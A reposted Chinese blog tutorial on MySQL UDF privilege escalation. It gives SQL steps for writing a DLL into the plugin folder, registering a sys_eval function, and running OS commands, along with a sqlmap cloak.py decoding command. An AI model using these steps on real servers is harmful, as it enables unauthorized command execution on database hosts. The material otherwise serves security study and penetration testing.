码迷,mamicode.com
首页 > 数据库 > 详细

MySQL UDF(User Defined Function)提权

时间:2020-04-25 13:02:55      阅读:82      评论:0      收藏:0      [点我收藏+]

标签:fun   like   同名   string   定义函数   font   数据   sele   user   

MySQL UDF(User Defined Function)提权

测试环境:MySQL Community Server (GPL) 5.5.53、Windows Server 2012 standard x64

对于 MySQL > 5.1 的版本,*.dll 或 *.so 文件要放到 MySQL 安装目录下的 lib\plugin 文件夹,如:D:\\MySQL\\lib\\plugin
*.dll 文件或 *.so 文件的架构要和 MySQL 数据库匹配,如:32位的 MySQL 数据库要用32位的 *.dll

# 写入 *.dll 文件
SELECT 0x1a2b3c4d5e6 into outfile ‘D:\\MySQL\\lib\\plugin\\mysql_udf.dll‘;
# 从 *.dll 文件添加自定义函数 create function sys_eval returns string soname ‘mysql_udf.dll‘;
# 执行用户定义函数 SELECT sys_eval(‘ipconfig‘);
# 删除用户定义函数
# 最好是先通过 drop function 删除用户定义函数,再手动删除 *.dll 文件,否则下次不能从 *.dll 中导入同名的函数 drop function sys_eval;
# 查看MySQL服务器架构 show VARIABLES LIKE ‘version_compile_os‘; version_compile_os,表示MySQL数据库是32位还是64位

sqlmap自带了 UDF 提权需要的 *.dll 文件和 *.so 文件,存放目录为:sqlmap_dir\udf\mysql\windows

但这些文件是经过编码的,还原以后才能单独使用。还原方法:

sqlmap_dir/extra/cloak/cloak.py -d -i lib_mysqludf_sys.dll_

当执行用户定义函数时 MySQL 会派生一个子进程,MySQL主进程会一直等待获取子进程的退出码或输出结果。如果子进程长时间未退出则可能导致 MySQL 数据库主进程崩溃,从而影响网站的正常运行。

根据经验,执行 systeminfo 命令容易导致 MySQL 主进程崩溃。

......

MySQL UDF(User Defined Function)提权

标签:fun   like   同名   string   定义函数   font   数据   sele   user   

原文地址:https://www.cnblogs.com/dgjnszf/p/12735806.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!